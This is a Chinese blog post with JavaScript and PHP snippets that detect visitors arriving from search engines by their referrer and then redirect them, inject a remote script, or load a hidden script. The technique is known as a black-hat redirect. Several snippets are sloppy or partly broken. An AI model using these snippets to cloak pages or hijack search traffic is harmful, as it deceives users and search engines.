js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问


Posted in Javascript onSeptember 14, 2015

以下javascript脚本代码可以实现判断访问是否来自搜索引擎。

代码如下:

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

JS正则表达式判断来路搜索引擎指定跳转网址

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="跳转指定网址";
}
<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("https://3water.com")

</script>

通过Js判断搜索引擎来路的代码则如下

<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}

function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>

一段php判断搜索引擎的代码

<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>

手机端别忘了 sm、 sogou。

基本上也差不多了,如果你有更好的代码,可以留言.

Javascript 相关文章推荐
枚举JavaScript对象的函数
Dec 22 Javascript
用javascript实现自定义标签
May 08 Javascript
前端开发必须知道的JS之原型和继承
Jul 06 Javascript
jquery ztree异步搜索(搜叶子)实践
Feb 25 Javascript
JQuery ztree带筛选、异步加载实例讲解
Feb 25 Javascript
详解JavaScript模块化开发
Dec 04 Javascript
解决Webpack 热部署检测不到文件变化的问题
Feb 22 Javascript
vue与vue-i18n结合实现后台数据的多语言切换方法
Mar 08 Javascript
jQuery插件jsonview展示json数据
May 26 jQuery
vue中的watch监听数据变化及watch中各属性的详解
Sep 11 Javascript
require.js 加载过程与使用方法介绍
Oct 30 Javascript
微信小程序实现自定义底部导航
Nov 18 Javascript
根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)
Sep 14 #Javascript
jQuery实现默认是闭合的FAQ展开效果菜单
Sep 14 #Javascript
js带缩略图的图片轮播效果代码分享
Sep 14 #Javascript
jQuery实现的Tab滑动选项卡及图片切换(多种效果)小结
Sep 14 #Javascript
JS+DIV+CSS实现的经典标签切换效果代码
Sep 14 #Javascript
jQuery实现Meizu魅族官方网站的导航菜单效果
Sep 14 #Javascript
jQuery实现鼠标悬停背景翻转的黑色导航菜单代码
Sep 14 #Javascript
You might like
php preg_match_all结合str_replace替换内容中所有img
2008/10/11 PHP
php+ajax实现文章自动保存的方法
2014/12/30 PHP
PHP获取一年中每个星期的开始和结束日期的方法
2015/02/12 PHP
详解PHP的Yii框架中扩展的安装与使用
2016/04/01 PHP
php Session无效分析资料整理
2016/11/29 PHP
浅谈laravel5.5 belongsToMany自身的正确用法
2019/10/17 PHP
json的前台操作和后台操作实现代码
2012/01/20 Javascript
ie7+背景透明文字不透明超级简单的实现方法
2014/01/17 Javascript
javascript异步编程的4种方法
2014/02/19 Javascript
Javascript+CSS实现影像卷帘效果思路及代码
2014/10/20 Javascript
js实现获取div坐标的方法
2015/11/16 Javascript
Bootstrap 网站实例之单页营销网站
2016/10/20 Javascript
用jQuery的AJax实现异步访问、异步加载
2016/11/02 Javascript
利用js获取下拉框中所选的值
2016/12/01 Javascript
详解JavaScript的内置对象
2016/12/07 Javascript
基于javascript实现最简单选项卡切换
2017/02/01 Javascript
JS实现动态给标签控件添加事件的方法示例
2017/05/13 Javascript
微信小程序获取用户openId的实现方法
2017/05/23 Javascript
关于webpack代码拆分的解析
2017/07/20 Javascript
详解vue-cli构建项目反向代理配置
2017/09/07 Javascript
使用原生JS实现火锅点餐小程序(面向对象思想)
2019/12/10 Javascript
浅谈webpack和webpack-cli模块源码分析
2020/01/19 Javascript
js get和post请求实现代码解析
2020/02/06 Javascript
python 批量修改 labelImg 生成的xml文件的方法
2019/09/09 Python
使用pyshp包进行shapefile文件修改的例子
2019/12/06 Python
django在保存图像的同时压缩图像示例代码详解
2020/02/11 Python
关于PyCharm安装后修改路径名称使其可重新打开的问题
2020/10/20 Python
解释一下钝化(Swap out)
2016/12/26 面试题
垃圾回收的优点和原理
2014/05/16 面试题
行政助理岗位职责范文
2013/12/03 职场文书
文明班集体申报材料
2014/05/23 职场文书
社区党风廉政建设调研报告
2015/01/01 职场文书
大学毕业谢师宴致辞
2015/07/27 职场文书
升职自荐书
2019/05/09 职场文书
JS实现扫雷项目总结
2021/05/19 Javascript
Oracle中DBLink的详细介绍
2022/04/29 Oracle